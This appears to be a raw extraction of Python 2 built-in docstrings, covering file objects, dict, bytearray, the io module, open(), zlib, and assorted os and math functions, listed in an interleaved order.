'IEEE, big-endian' or 'IEEE, little-endian', and in addition can only be
one of the latter two if it appears to match the underlying C reality.
Override the automatic determination of C-level floating point type.
This affects how floats are converted to and from binary strings.
float.__format__(format_spec) -> string
Formats the float according to format_spec.
float(x) -> floating point number
Convert a string or number to a floating point number, if possible.
readline([size]) -> next line from the file, as a string.
Retain newline.  A non-negative size argument limits the maximum
number of bytes to return (an incomplete line may be returned then).
Return an empty string at EOF.
read([size]) -> read at most size bytes, returned as a string.
If the size argument is negative or omitted, read until EOF is reached.
Notice that when in non-blocking mode, less data than what was requested
may be returned, even if no size parameter was given.
write(str) -> None.  Write string str to file.
Note that due to buffering, flush() or close() may be needed before
the file on disk reflects the data written.
fileno() -> integer "file descriptor".
This is needed for lower-level file interfaces, such os.read().
seek(offset[, whence]) -> None.  Move to new file position.
Argument offset is a byte count.  Optional argument whence defaults to
0 (offset from start of file, offset should be >= 0); other values are 1
(move relative to current position, positive or negative), and 2 (move
relative to end of file, usually negative, although many platforms allow
seeking beyond the end of a file).  If the file is opened in text mode,
only offsets returned by tell() are legal.  Use of other offsets causes
undefined behavior.
Note that not all file objects are seekable.
truncate([size]) -> None.  Truncate the file to at most size bytes.
Size defaults to the current file position, as returned by tell().
tell() -> current file position, an integer (may be a long integer).
readinto() -> Undocumented.  Don't use this; it may go away.
readlines([size]) -> list of strings, each a line from the file.
Call readline() repeatedly and return a list of the lines so read.
The optional size argument, if given, is an approximate bound on the
total number of bytes in the lines returned.
xreadlines() -> returns self.
For backward compatibility. File objects now include the performance
optimizations previously implemented in the xreadlines module.
writelines(sequence_of_strings) -> None.  Write the strings to the file.
Note that newlines are not added.  The sequence can be any iterable object
producing strings. This is equivalent to calling write() for each string.
close() -> None or (perhaps) an integer.  Close the file.
Sets data attribute .closed to True.  A closed file cannot be used for
further I/O operations.  close() may be called more than once without
error.  Some kinds of file objects (for example, opened by popen())
may return an exit status upon closing.
isatty() -> true or false.  True if the file is connected to a tty device.
__enter__() -> self.
__exit__(*excinfo) -> None.  Closes the file.
file(name[, mode[, buffering]]) -> file object
Open a file.  The mode can be 'r', 'w' or 'a' for reading (default),
writing or appending.  The file will be created if it doesn't exist
when opened for writing or appending; it will be truncated when
opened for writing.  Add a 'b' to the mode for binary files.
Add a '+' to the mode to allow simultaneous reading and writing.
If the buffering argument is given, 0 means unbuffered, 1 means line
buffered, and larger numbers specify the buffer size.  The preferred way
to open a file is with the builtin open() function.
Add a 'U' to mode to open the file for input with universal newline
support.  Any line ending in the input file will be seen as a '\n'
in Python.  Also, a file so opened gains the attribute 'newlines';
the value for this attribute is one of None (no newline read yet),
'\r', '\n', '\r\n' or a tuple containing all the newline types seen.
'U' cannot be combined with 'w' or '+' mode.
Python's standard exception class hierarchy.
Exceptions found here are defined both in the exceptions module and the
built-in namespace.  It is recommended that user-defined exceptions
inherit from Exception.  See the documentation for the exception
inheritance hierarchy.
D.has_key(k) -> True if D has a key k, else False
x.__getitem__(y) <==> x[y]
D.items() -> list of D's (key, value) pairs, as 2-tuples
D.values() -> list of D's values
D.itervalues() -> an iterator over the values of D
D.viewvalues() -> an object providing a view on D's values
Encoding of the text stream.
Subclasses should override.
Retrieve the entire contents of the object.
Read until EOF, using multiple read() call.
readinto() -> Same as RawIOBase.readinto().
seekable() -> bool.  True if file supports random-access.
enumerate(iterable[, start]) -> iterator for index, value of iterable
Return an enumerate object.  iterable must be another object that supports
iteration.  The enumerate object yields pairs containing a count (from
start, which defaults to zero) and a value yielded by the iterable argument.
enumerate is useful for obtaining an indexed list:
    (0, seq[0]), (1, seq[1]), (2, seq[2]), ...
reversed(sequence) -> reverse iterator over values of the sequence
Return a reverse iterator
Private method returning an estimate of len(list(it)).
D.__contains__(k) -> True if D has a key k, else False
D.__sizeof__() -> size of D in memory, in bytes
D.get(k[,d]) -> D[k] if k in D, else d.  d defaults to None.
D.setdefault(k[,d]) -> D.get(k,d), also set D[k]=d if k not in D
D.pop(k[,d]) -> v, remove specified key and return the corresponding value.
If key is not found, d is returned if given, otherwise KeyError is raised
D.popitem() -> (k, v), remove and return some (key, value) pair as a
2-tuple; but raise KeyError if D is empty.
D.keys() -> list of D's keys
D.update([E, ]**F) -> None.  Update D from dict/iterable E and F.
If E present and has a .keys() method, does:     for k in E: D[k] = E[k]
If E present and lacks .keys() method, does:     for (k, v) in E: D[k] = v
In either case, this is followed by: for k in F: D[k] = F[k]
dict.fromkeys(S[,v]) -> New dict with keys from S and values equal to v.
v defaults to None.
D.clear() -> None.  Remove all items from D.
D.copy() -> a shallow copy of D
D.iterkeys() -> an iterator over the keys of D
D.iteritems() -> an iterator over the (key, value) items of D
D.viewkeys() -> a set-like object providing a view on D's keys
D.viewitems() -> a set-like object providing a view on D's items
dict() -> new empty dictionary
dict(mapping) -> new dictionary initialized from a mapping object's
    (key, value) pairs
dict(iterable) -> new dictionary initialized as if via:
    d = {}
    for k, v in iterable:
        d[k] = v
dict(**kwargs) -> new dictionary initialized with the name=value pairs
    in the keyword argument list.  For example:  dict(one=1, two=2)
Private method returning an estimate of len(list(it)).
copy() -- Return a copy of the compression object.
Return the digest value as a string of binary data.
Return the digest value as a string of hexadecimal digits.
Return a copy of the hash object.
Return the digest value as a string of binary data.
Return the digest value as a string of hexadecimal digits.
Descriptor to change the getter on a property.
Descriptor to change the setter on a property.
Descriptor to change the deleter on a property.
Update this hash object's state with the provided string.
property(fget=None, fset=None, fdel=None, doc=None) -> property attribute
fget is a function to be used for getting an attribute value, and likewise
fset is a function for setting, and fdel a function for del'ing, an
attribute.  Typical use is to define a managed attribute x:
class C(object):
    def getx(self): return self._x
    def setx(self, value): self._x = value
    def delx(self): del self._x
    x = property(getx, setx, delx, "I'm the 'x' property.")
Decorators make defining new properties or modifying existing ones easy:
class C(object):
    @property
    def x(self):
        "I am the 'x' property."
        return self._x
    @x.setter
    def x(self, value):
        self._x = value
    @x.deleter
    def x(self):
        del self._x
complex.conjugate() -> complex
Return the complex conjugate of its argument. (3-4j).conjugate() == 3+4j.
complex.__format__() -> str
Convert to a string according to format_spec.
complex(real[, imag]) -> complex number
Create a complex number from a real part and an optional imaginary part.
This is equivalent to (real + imag*1j) where imag defaults to 0.
Return a copy of the hash object.
Return the digest value as a string of binary data.
code(argcount, nlocals, stacksize, flags, codestring, constants, names,
      varnames, filename, name, firstlineno, lnotab[, freevars[, cellvars]])
Create a code object.  Not for the faint of heart.
Return the digest value as a string of hexadecimal digits.
C objects to be exported from one extension module to another
C objects are used for communication between extension modules.  They
provide a way for an extension module to export a C interface to other
extension modules, so that extension modules can use the Python import
mechanism to link to one another.
Update this hash object's state with the provided string.
classobj(name, bases, dict)
Create a class object.  The name must be a string; the second argument
a tuple of classes, and the third a dictionary.
instance(class[, dict])
Create an instance without calling its __init__() method.
The class must be a classic class.
If present, dict must be a dictionary or None.
instancemethod(function, instance, class)
Create an instance method object.
chmod(path, mode)
Change the access permissions of a file.
rmdir(path)
Remove a directory.
Capsule objects let you wrap a C "void *" pointer in a Python
object.  They're a way of passing data through the Python interpreter
without creating your own custom type.
Capsules are used for communication between extension modules.
They provide a way for an extension module to export a C interface
to other extension modules, so that extension modules can use the
Python import mechanism to link to one another.
unlink(path)
Remove a file (same as remove(path)).
B.expandtabs([tabsize]) -> copy of B
Return a copy of B where all tab characters are expanded using spaces.
If tabsize is not given, a tab size of 8 characters is assumed.
B.ljust(width[, fillchar]) -> copy of B
Return B left justified in a string of length width. Padding is
done using the specified fill character (default is a space).
B.rjust(width[, fillchar]) -> copy of B
Return B right justified in a string of length width. Padding is
done using the specified fill character (default is a space)
B.center(width[, fillchar]) -> copy of B
Return B centered in a string of length width.  Padding is
done using the specified fill character (default is a space).
B.zfill(width) -> copy of B
Pad a numeric string B with zeros on the left, to fill a field
of the specified width.  B is never truncated.
B.find(sub [,start [,end]]) -> int
Return the lowest index in B where subsection sub is found,
such that sub is contained within B[start,end].  Optional
arguments start and end are interpreted as in slice notation.
Return -1 on failure.
B.count(sub [,start [,end]]) -> int
Return the number of non-overlapping occurrences of subsection sub in
bytes B[start:end].  Optional arguments start and end are interpreted
as in slice notation.
B.index(sub [,start [,end]]) -> int
Like B.find() but raise ValueError when the subsection is not found.
B.rfind(sub [,start [,end]]) -> int
Return the highest index in B where subsection sub is found,
such that sub is contained within B[start,end].  Optional
arguments start and end are interpreted as in slice notation.
Return -1 on failure.
B.rindex(sub [,start [,end]]) -> int
Like B.rfind() but raise ValueError when the subsection is not found.
remove(path)
Remove a file (same as unlink(path)).
B.startswith(prefix [,start [,end]]) -> bool
Return True if B starts with the specified prefix, False otherwise.
With optional start, test B beginning at that position.
With optional end, stop comparing B at that position.
prefix can also be a tuple of strings to try.
B.endswith(suffix [,start [,end]]) -> bool
Return True if B ends with the specified suffix, False otherwise.
With optional start, test B beginning at that position.
With optional end, stop comparing B at that position.
suffix can also be a tuple of strings to try.
B.translate(table[, deletechars]) -> bytearray
Return a copy of B, where all characters occurring in the
optional argument deletechars are removed, and the remaining
characters have been mapped through the given translation
table, which must be a bytes object of length 256.
dup(fd) -> fd2
Return a duplicate of a file descriptor.
B.replace(old, new[, count]) -> bytes
Return a copy of B with all occurrences of subsection
old replaced by new.  If the optional argument count is
given, only the first count occurrences are replaced.
B.split([sep[, maxsplit]]) -> list of bytearray
Return a list of the sections in B, using sep as the delimiter.
If sep is not given, B is split on ASCII whitespace characters
(space, tab, return, newline, formfeed, vertical tab).
If maxsplit is given, at most maxsplit splits are done.
B.partition(sep) -> (head, sep, tail)
Searches for the separator sep in B, and returns the part before it,
the separator itself, and the part after it.  If the separator is not
found, returns B and two empty bytearray objects.
dup2(old_fd, new_fd)
Duplicate file descriptor.
B.rpartition(sep) -> (head, sep, tail)
Searches for the separator sep in B, starting at the end of B,
and returns the part before it, the separator itself, and the
part after it.  If the separator is not found, returns two empty
bytearray objects and B.
B.rsplit(sep[, maxsplit]) -> list of bytearray
Return a list of the sections in B, using sep as the delimiter,
starting at the end of B and working to the front.
If sep is not given, B is split on ASCII whitespace characters
(space, tab, return, newline, formfeed, vertical tab).
If maxsplit is given, at most maxsplit splits are done.
B.reverse() -> None
Reverse the order of the values in B in place.
putenv(key, value)
Change or add an environment variable.
B.insert(index, int) -> None
Insert a single item into the bytearray before the given index.
B.append(int) -> None
Append a single item to the end of B.
B.extend(iterable int) -> None
Append all the elements from the iterator or sequence to the
end of B.
B.pop([index]) -> int
Remove and return a single item from B. If no index
argument is given, will pop the last value.
B.remove(int) -> None
Remove the first occurance of a value in B.
B.strip([bytes]) -> bytearray
Strip leading and trailing bytes contained in the argument.
If the argument is omitted, strip ASCII whitespace.
B.lstrip([bytes]) -> bytearray
Strip leading bytes contained in the argument.
If the argument is omitted, strip leading ASCII whitespace.
B.rstrip([bytes]) -> bytearray
Strip trailing bytes contained in the argument.
If the argument is omitted, strip trailing ASCII whitespace.
B.decode([encoding[, errors]]) -> unicode object.
Decodes B using the codec registered for encoding. encoding defaults
to the default encoding. errors may be given to set a different error
handling scheme.  Default is 'strict' meaning that encoding errors raise
a UnicodeDecodeError.  Other possible values are 'ignore' and 'replace'
as well as any other name registered with codecs.register_error that is
able to handle UnicodeDecodeErrors.
B.__alloc__() -> int
Returns the number of bytes actually allocated.
B.join(iterable_of_bytes) -> bytes
Concatenates any number of bytearray objects, with B in between each pair.
B.splitlines(keepends=False) -> list of lines
Return a list of the lines in B, breaking at line boundaries.
Line breaks are not included in the resulting list unless keepends
is given and true.
bytearray.fromhex(string) -> bytearray
Create a bytearray object from a string of hexadecimal numbers.
Spaces between two numbers are accepted.
Example: bytearray.fromhex('B9 01EF') -> bytearray(b'\xb9\x01\xef').
Return state information for pickling.
B.__sizeof__() -> int
Returns the size of B in memory, in bytes
This is an interface to Python's internal parser.
bytearray(iterable_of_ints) -> bytearray.
bytearray(string, encoding[, errors]) -> bytearray.
bytearray(bytes_or_bytearray) -> mutable copy of bytes_or_bytearray.
bytearray(memory_view) -> bytearray.
Construct an mutable bytearray object from:
  - an iterable yielding integers in range(256)
  - a text string encoded using the specified encoding
  - a bytes or a bytearray object
  - any object implementing the buffer API.
bytearray(int) -> bytearray.
Construct a zero-initialized bytearray of the given length.
Private method returning an estimate of len(list(it)).
buffer(object [, offset[, size]])
Create a new buffer object which references the given object.
The buffer will reference a slice of the target object from the
start of the object (or at the specified offset). The slice will
extend to the end of the target object (or with the specified size).
bool(x) -> bool
Returns True when the argument x is true, False otherwise.
The builtins True and False are the only two instances of the class bool.
The class bool is a subclass of the class int, and cannot be subclassed.
acos(x)
Return the arc cosine (measured in radians) of x.
asin(x)
Return the arc sine (measured in radians) of x.
Base class for text I/O.
This class provides a character and line based interface to stream
I/O. There is no readinto method because Python's character strings
are immutable. There is no public constructor.
Separate the underlying buffer from the TextIOBase and return it.
After the underlying buffer has been detached, the TextIO is in an
unusable state.
Read at most n characters from stream.
Read from underlying buffer until we have n characters or we hit EOF.
If n is negative or omitted, read until EOF.
asinh(x)
Return the inverse hyperbolic sine of x.
Read until newline or EOF.
Returns an empty string if EOF is hit immediately.
Write string to stream.
Returns the number of characters written (which is always equal to
the length of the string).
Line endings translated so far.
Only line endings translated during reading are considered.
Subclasses should override.
The error setting of the decoder or encoder.
Subclasses should override.
atan(x)
Return the arc tangent (measured in radians) of x.
Codec used when reading a file in universal newlines mode.  It wraps
another incremental decoder, translating \r\n and \r into \n.  It also
records the types of newlines encountered.  When used with
translate=False, it ensures that the newline sequence is returned in
one piece. When used with decoder=None, it expects unicode strings as
decode input and translates newlines without first invoking an external
decoder.
cosh(x)
Return the hyperbolic cosine of x.
erfc(x)
Complementary error function at x.
Character and line based layer over a BufferedIOBase object, buffer.
encoding gives the name of the encoding that the stream will be
decoded or encoded with. It defaults to locale.getpreferredencoding.
errors determines the strictness of encoding and decoding (see the
codecs.register) and defaults to "strict".
newline controls how line endings are handled. It can be None, '',
'\n', '\r', and '\r\n'.  It works as follows:
* On input, if newline is None, universal newlines mode is
  enabled. Lines in the input can end in '\n', '\r', or '\r\n', and
  these are translated into '\n' before being returned to the
  caller. If it is '', universal newline mode is enabled, but line
  endings are returned to the caller untranslated. If it has any of
  the other legal values, input lines are only terminated by the given
  string, and the line ending is returned to the caller untranslated.
* On output, if newline is None, any '\n' characters written are
  translated to the system default line separator, os.linesep. If
  newline is '', no translation takes place. If newline is any of the
  other legal values, any '\n' characters written are translated to
  the given string.
If line_buffering is True, a call to flush is implied when a call to
write contains a newline character.
exp(x)
Return e raised to the power of x.
Text I/O implementation using an in-memory buffer.
The initial_value argument sets the value of object.  The newline
argument is like the one of TextIOWrapper's constructor.
Tell the current file position.
Read at most n characters, returned as a string.
If the argument is negative or omitted, read until EOF
is reached. Return an empty string at EOF.
Read until newline or EOF.
Returns an empty string if EOF is hit immediately.
Truncate size to pos.
The pos argument defaults to the current file position, as
returned by tell().  The current file position is unchanged.
Returns the new absolute position.
Change stream position.
Seek to character offset pos relative to position indicated by whence:
    0  Start of stream (the default).  pos should be >= 0;
    1  Current position - pos must be 0;
    2  End of stream - pos must be 0.
Returns the new absolute position.
Write string to file.
Returns the number of characters written, which is always equal to
the length of the string.
Close the IO object. Attempting any further operation after the
object is closed will raise a ValueError.
This method has no effect if the file is already closed.
readable() -> bool. Returns True if the IO object can be read.
writable() -> bool. Returns True if the IO object can be written.
seekable() -> bool. Returns True if the IO object can be seeked.
fabs(x)
Return the absolute value of the float x.
The abstract base class for all I/O classes, acting on streams of
bytes. There is no public constructor.
This class provides dummy implementations for many methods that
derived classes can override selectively; the default implementations
represent a file that cannot be read, written or seeked.
Even though IOBase does not declare read, readinto, or write because
their signatures will vary, implementations and clients should
consider those methods part of the interface. Also, implementations
may raise a IOError when operations they do not support are called.
The basic type used for binary data read from or written to a file is
bytes. bytearrays are accepted too, and in some cases (such as
readinto) needed. Text I/O classes work with str data.
Note that calling any method (except additional calls to close(),
which are ignored) on a closed stream should raise a ValueError.
IOBase (and its subclasses) support the iterator protocol, meaning
that an IOBase object can be iterated over yielding the lines in a
stream.
IOBase also supports the :keyword:`with` statement. In this example,
fp is closed after the suite of the with statement is complete:
with open('spam.txt', 'r') as fp:
    fp.write('Spam and eggs!')
Change stream position.
Change the stream position to the given byte offset. The offset is
interpreted relative to the position indicated by whence.  Values
for whence are:
* 0 -- start of stream (the default); offset should be zero or positive
* 1 -- current stream position; offset may be negative
* 2 -- end of stream; offset is usually negative
Return the new absolute position.
Return current stream position.
sin(x)
Return the sine of x (measured in radians).
Truncate file to size bytes.
File pointer is left unchanged.  Size defaults to the current IO
position as reported by tell().  Returns the new size.
Flush write buffers, if applicable.
This is not implemented for read-only and non-blocking streams.
Flush and close the IO object.
This method has no effect if the file is already closed.
Return whether object supports random access.
If False, seek(), tell() and truncate() will raise IOError.
This method may need to do a test seek().
Return whether object was opened for reading.
If False, read() will raise IOError.
sinh(x)
Return the hyperbolic sine of x.
Return whether object was opened for writing.
If False, read() will raise IOError.
isnan(x) -> bool
Check if float x is not a number (NaN).
Returns underlying file descriptor if one exists.
An IOError is raised if the IO object does not use a file descriptor.
Return whether this is an 'interactive' stream.
Return False if it can't be determined.
Read and return a line from the stream.
If limit is specified, at most limit bytes will be read.
The line terminator is always b'\n' for binary files; for text
files, the newlines argument to open can be used to select the line
terminator(s) recognized.
Return a list of lines from the stream.
hint can be specified to control the number of lines read: no more
lines will be read if the total size (in bytes/characters) of all
lines so far exceeds hint.
Base class for raw binary I/O.
file(name: str[, mode: str]) -> file IO object
Open a file.  The mode can be 'r' (default), 'w' or 'a' for reading,
writing or appending.  The file will be created if it doesn't exist
when opened for writing or appending; it will be truncated when
opened for writing.  Add a '+' to the mode to allow simultaneous
reading and writing.
read(size: int) -> bytes.  read at most size bytes, returned as bytes.
Only makes one system call, so less data may be returned than requested
In non-blocking mode, returns None if no data is available.
On end-of-file, returns ''.
readall() -> bytes.  read all data from the file, returned as bytes.
In non-blocking mode, returns as much as is immediately available,
or None if no data is available.  On end-of-file, returns ''.
write(b: bytes) -> int.  Write bytes b to file, return number written.
Only makes one system call, so not all of the data may be written.
The number of bytes actually written is returned.  In non-blocking mode,
returns None if the write would block.
fileno() -> int.  Return the underlying file descriptor (an integer).
seek(offset: int[, whence: int]) -> int.  Move to new file position
and return the file position.
Argument offset is a byte count.  Optional argument whence defaults to
SEEK_SET or 0 (offset from start of file, offset should be >= 0); other values
are SEEK_CUR or 1 (move relative to current position, positive or negative),
and SEEK_END or 2 (move relative to end of file, usually negative, although
many platforms allow seeking beyond the end of a file).
Note that not all file objects are seekable.
truncate([size: int]) -> int.  Truncate the file to at most size bytes and
return the truncated size.
Size defaults to the current file position, as returned by tell().
The current file position is changed to the value of size.
tell() -> int.  Current file position.
Can raise OSError for non seekable files.
close() -> None.  Close the file.
A closed file cannot be used for further I/O operations.  close() may be
called more than once without error.
isatty() -> bool.  True if the file is connected to a TTY device.
readable() -> bool.  True if file was opened in a read mode.
writable() -> bool.  True if file was opened in a write mode.
readable() -> bool. Returns True if the IO object can be read.
writable() -> bool. Returns True if the IO object can be written.
seekable() -> bool. Returns True if the IO object can be seeked.
flush() -> None.  Does nothing.
getvalue() -> bytes.
Retrieve the entire contents of the BytesIO object.
isatty() -> False.
Always returns False since BytesIO objects are not connected
to a tty-like device.
tell() -> current file position, an integer
read([size]) -> read at most size bytes, returned as a string.
If the size argument is negative, read until EOF is reached.
Return an empty string at EOF.
read1(size) -> read at most size bytes, returned as a string.
If the size argument is negative or omitted, read until EOF is reached.
Return an empty string at EOF.
readline([size]) -> next line from the file, as a string.
Retain newline.  A non-negative size argument limits the maximum
number of bytes to return (an incomplete line may be returned then).
Return an empty string at EOF.
readlines([size]) -> list of strings, each a line from the file.
Call readline() repeatedly and return a list of the lines so read.
The optional size argument, if given, is an approximate bound on the
total number of bytes in the lines returned.
readinto(bytearray) -> int.  Read up to len(b) bytes into b.
Returns number of bytes read (0 for EOF), or None if the object
is set not to block as has no data to read.
truncate([size]) -> int.  Truncate the file to at most size bytes.
Size defaults to the current file position, as returned by tell().
The current file position is unchanged.  Returns the new size.
seek(pos[, whence]) -> int.  Change stream position.
Seek to byte offset pos relative to position indicated by whence:
     0  Start of stream (the default).  pos should be >= 0;
     1  Current position - pos may be negative;
     2  End of stream - pos usually negative.
Returns the new absolute position.
write(bytes) -> int.  Write bytes to file.
Return the number of bytes written.
writelines(sequence_of_strings) -> None.  Write strings to the file.
Note that newlines are not added.  The sequence can be any iterable
object producing strings. This is equivalent to calling write() for
each string.
close() -> None.  Disable all I/O operations.
BytesIO([buffer]) -> object
Create a buffered I/O implementation using an in-memory bytes
buffer, ready for reading and writing.
Base class for buffered IO objects.
The main difference with RawIOBase is that the read() method
supports omitting the size argument, and does not have a default
implementation that defers to readinto().
In addition, read(), readinto() and write() may raise
BlockingIOError if the underlying raw stream is in non-blocking
mode and not ready; unlike their raw counterparts, they will never
return None.
A typical implementation should not inherit from a RawIOBase
implementation, but wrap one.
Disconnect this buffer from its underlying raw stream and return it.
After the raw stream has been detached, the buffer is in an unusable
state.
Read and return up to n bytes.
If the argument is omitted, None, or negative, reads and
returns all data until EOF.
If the argument is positive, and the underlying raw stream is
not 'interactive', multiple raw reads may be issued to satisfy
the byte count (unless EOF is reached first).  But for
interactive raw streams (as well as sockets and pipes), at most
one raw read will be issued, and a short result does not imply
that EOF is imminent.
Returns an empty bytes object on EOF.
Returns None if the underlying raw stream was open in non-blocking
mode and no data is available at the moment.
Read and return up to n bytes, with at most one read() call
to the underlying raw stream. A short result does not imply
that EOF is imminent.
Returns an empty bytes object on EOF.
Write the given buffer to the IO stream.
Returns the number of bytes written, which is never less than
len(b).
Raises BlockingIOError if the buffer is full and the
underlying raw stream cannot accept more data at the moment.
Create a new buffered reader using the given readable raw IO object.
Returns an independent iterator.
A buffer for a writeable sequential RawIO object.
The constructor creates a BufferedWriter for the given writeable raw
stream. If the buffer_size is not given, it defaults to
DEFAULT_BUFFER_SIZE. max_buffer_size isn't used anymore.
tee(iterable, n=2) --> tuple of n independent iterators.
A buffered reader and writer object together.
A buffered reader object and buffered writer object put together to
form a sequential IO object that can read and write. This is typically
used with a socket or two-way pipe.
reader and writer are RawIOBase objects that are readable and
writeable respectively. If the buffer_size is omitted it defaults to
DEFAULT_BUFFER_SIZE.
A buffered interface to random access streams.
The constructor creates a reader and writer for a seekable stream,
raw, given in the first argument. If the buffer_size is omitted it
defaults to DEFAULT_BUFFER_SIZE. max_buffer_size isn't used anymore.
The io module provides the Python interfaces to stream handling. The
builtin open function is defined in this module.
At the top of the I/O hierarchy is the abstract base class IOBase. It
defines the basic interface to a stream. Note, however, that there is no
separation between reading and writing to streams; implementations are
allowed to raise an IOError if they do not support a given operation.
Extending IOBase is RawIOBase which deals simply with the reading and
writing of raw bytes to a stream. FileIO subclasses RawIOBase to provide
an interface to OS files.
BufferedIOBase deals with buffering on a raw byte stream (RawIOBase). Its
subclasses, BufferedWriter, BufferedReader, and BufferedRWPair buffer
streams that are readable, writable, and both respectively.
BufferedRandom provides a buffered interface to random access
streams. BytesIO is a simple stream of in-memory bytes.
Another IOBase subclass, TextIOBase, deals with the encoding and decoding
of streams into text. TextIOWrapper, which extends it, is a buffered text
interface to a buffered raw stream (`BufferedIOBase`). Finally, StringIO
is a in-memory stream for text.
Argument names are not part of the specification, and only the arguments
of open() are intended to be used as keyword arguments.
DEFAULT_BUFFER_SIZE
   An int containing the default buffer size used by the module's buffered
   I/O classes. open() uses the file's blksize (as obtained by os.stat) if
   possible.
Open file and return a stream.  Raise IOError upon failure.
file is either a text or byte string giving the name (and the path
if the file isn't in the current working directory) of the file to
be opened or an integer file descriptor of the file to be
wrapped. (If a file descriptor is given, it is closed when the
returned I/O object is closed, unless closefd is set to False.)
mode is an optional string that specifies the mode in which the file
is opened. It defaults to 'r' which means open for reading in text
mode.  Other common values are 'w' for writing (truncating the file if
it already exists), and 'a' for appending (which on some Unix systems,
means that all writes append to the end of the file regardless of the
current seek position). In text mode, if encoding is not specified the
encoding used is platform dependent. (For reading and writing raw
bytes use binary mode and leave encoding unspecified.) The available
modes are:
========= ===============================================================
Character Meaning
--------- ---------------------------------------------------------------
'r'       open for reading (default)
'w'       open for writing, truncating the file first
'a'       open for writing, appending to the end of the file if it exists
'b'       binary mode
't'       text mode (default)
'+'       open a disk file for updating (reading and writing)
'U'       universal newline mode (for backwards compatibility; unneeded
          for new code)
========= ===============================================================
The default mode is 'rt' (open for reading text). For binary random
access, the mode 'w+b' opens and truncates the file to 0 bytes, while
'r+b' opens the file without truncation.
Python distinguishes between files opened in binary and text modes,
even when the underlying operating system doesn't. Files opened in
binary mode (appending 'b' to the mode argument) return contents as
bytes objects without any decoding. In text mode (the default, or when
't' is appended to the mode argument), the contents of the file are
returned as strings, the bytes having been first decoded using a
platform-dependent encoding or using the specified encoding if given.
buffering is an optional integer used to set the buffering policy.
Pass 0 to switch buffering off (only allowed in binary mode), 1 to select
line buffering (only usable in text mode), and an integer > 1 to indicate
the size of a fixed-size chunk buffer.  When no buffering argument is
given, the default buffering policy works as follows:
* Binary files are buffered in fixed-size chunks; the size of the buffer
  is chosen using a heuristic trying to determine the underlying device's
  "block size" and falling back on `io.DEFAULT_BUFFER_SIZE`.
  On many systems, the buffer will typically be 4096 or 8192 bytes long.
* "Interactive" text files (files for which isatty() returns True)
  use line buffering.  Other text files use the policy described above
  for binary files.
encoding is the name of the encoding used to decode or encode the
file. This should only be used in text mode. The default encoding is
platform dependent, but any encoding supported by Python can be
passed.  See the codecs module for the list of supported encodings.
errors is an optional string that specifies how encoding errors are to
be handled---this argument should not be used in binary mode. Pass
'strict' to raise a ValueError exception if there is an encoding error
(the default of None has the same effect), or pass 'ignore' to ignore
errors. (Note that ignoring encoding errors can lead to data loss.)
See the documentation for codecs.register for a list of the permitted
encoding error strings.
newline controls how universal newlines works (it only applies to text
mode). It can be None, '', '\n', '\r', and '\r\n'.  It works as
follows:
* On input, if newline is None, universal newlines mode is
  enabled. Lines in the input can end in '\n', '\r', or '\r\n', and
  these are translated into '\n' before being returned to the
  caller. If it is '', universal newline mode is enabled, but line
  endings are returned to the caller untranslated. If it has any of
  the other legal values, input lines are only terminated by the given
  string, and the line ending is returned to the caller untranslated.
* On output, if newline is None, any '\n' characters written are
  translated to the system default line separator, os.linesep. If
  newline is '', no translation takes place. If newline is any of the
  other legal values, any '\n' characters written are translated to
  the given string.
If closefd is False, the underlying file descriptor will be kept open
when the file is closed. This does not work when a file name is given
and must be True in that case.
open() returns a file object whose type depends on the mode, and
through which the standard file operations such as reading and writing
are performed. When open() is used to open a file in a text mode ('w',
'r', 'wt', 'rt', etc.), it returns a TextIOWrapper. When used to open
a file in a binary mode, the returned class varies: in read binary
mode, it returns a BufferedReader; in write binary and append binary
modes, it returns a BufferedWriter, and in read/write mode, it returns
a BufferedRandom.
It is also possible to use a string or bytearray as a file for both
reading and writing. For strings StringIO can be used like a file
opened in a text mode, and for bytes a BytesIO can be used like a file
opened in a binary mode.
I.encode(unicode[, errors]) -> (string, length consumed)
Return an encoded string version of `unicode'. errors may be given to
set a different error handling scheme. Default is 'strict' meaning that
encoding errors raise a UnicodeEncodeError. Other possible values are
'ignore', 'replace' and 'xmlcharrefreplace' as well as any other name
registered with codecs.register_error that can handle UnicodeEncodeErrors.
I.decode(string[, errors]) -> (unicodeobject, length consumed)
Decodes `string' using I, an MultibyteCodec instance. errors may be given
to set a different error handling scheme. Default is 'strict' meaning
that encoding errors raise a UnicodeDecodeError. Other possible values
are 'ignore' and 'replace' as well as any other name registered with
codecs.register_error that is able to handle UnicodeDecodeErrors.
disable() -> None
Disable automatic garbage collection.
compressobj([level]) -- Return a compressor object.
Optional arg level is the compression level, in 0-9.
decompressobj([wbits]) -- Return a decompressor object.
Optional arg wbits is the window buffer size.
compress(string[, level]) -- Returned compressed string.
Optional arg level is the compression level, in 0-9.
decompress(string[, wbits[, bufsize]]) -- Return decompressed string.
Optional arg wbits is the window buffer size.  Optional arg bufsize is
the initial output buffer size.
compress(data) -- Return a string containing data compressed.
After calling this function, some of the input data may still
be stored in internal buffers for later processing.
Call the flush() method to clear these buffers.
decompress(data, max_length) -- Return a string containing the decompressed
version of the data.
After calling this function, some of the input data may still be stored in
internal buffers for later processing.
Call the flush() method to clear these buffers.
If the max_length parameter is specified then the return value will be
no longer than max_length.  Unconsumed input data will be stored in
the unconsumed_tail attribute.
flush( [mode] ) -- Return a string containing any remaining compressed data.
mode can be one of the constants Z_SYNC_FLUSH, Z_FULL_FLUSH, Z_FINISH; the
default value used when mode is not specified is Z_FINISH.
If mode == Z_FINISH, the compressor object can no longer be used after
calling the flush() method.  Otherwise, more data can still be compressed.
copy() -- Return a copy of the decompression object.
flush( [length] ) -- Return a string containing any remaining
decompressed data. length, if given, is the initial size of the
output buffer.
The decompressor object can no longer be used after this call.
adler32(string[, start]) -- Compute an Adler-32 checksum of string.
An optional starting value can be specified.  The returned checksum is
a signed integer.
crc32(string[, start]) -- Compute a CRC-32 checksum of string.
An optional starting value can be specified.  The returned checksum is
a signed integer.
The functions in this module allow compression and decompression using the
zlib library, which is based on GNU zip.
adler32(string[, start]) -- Compute an Adler-32 checksum.
compress(string[, level]) -- Compress string, with compression level in 0-9.
compressobj([level]) -- Return a compressor object.
crc32(string[, start]) -- Compute a CRC-32 checksum.
decompress(string,[wbits],[bufsize]) -- Decompresses a compressed string.
decompressobj([wbits]) -- Return a decompressor object.
'wbits' is window buffer size.
Compressor objects support compress() and flush() methods; decompressor
objects support decompress() and flush().
/__init__.pyc
/__init__.pyo
/__init__.py
find_module(fullname, path=None) -> self or None.
Search for a module specified by 'fullname'. 'fullname' must be the
fully qualified (dotted) module name. It returns the zipimporter
instance itself if the module was found, or None if it wasn't.
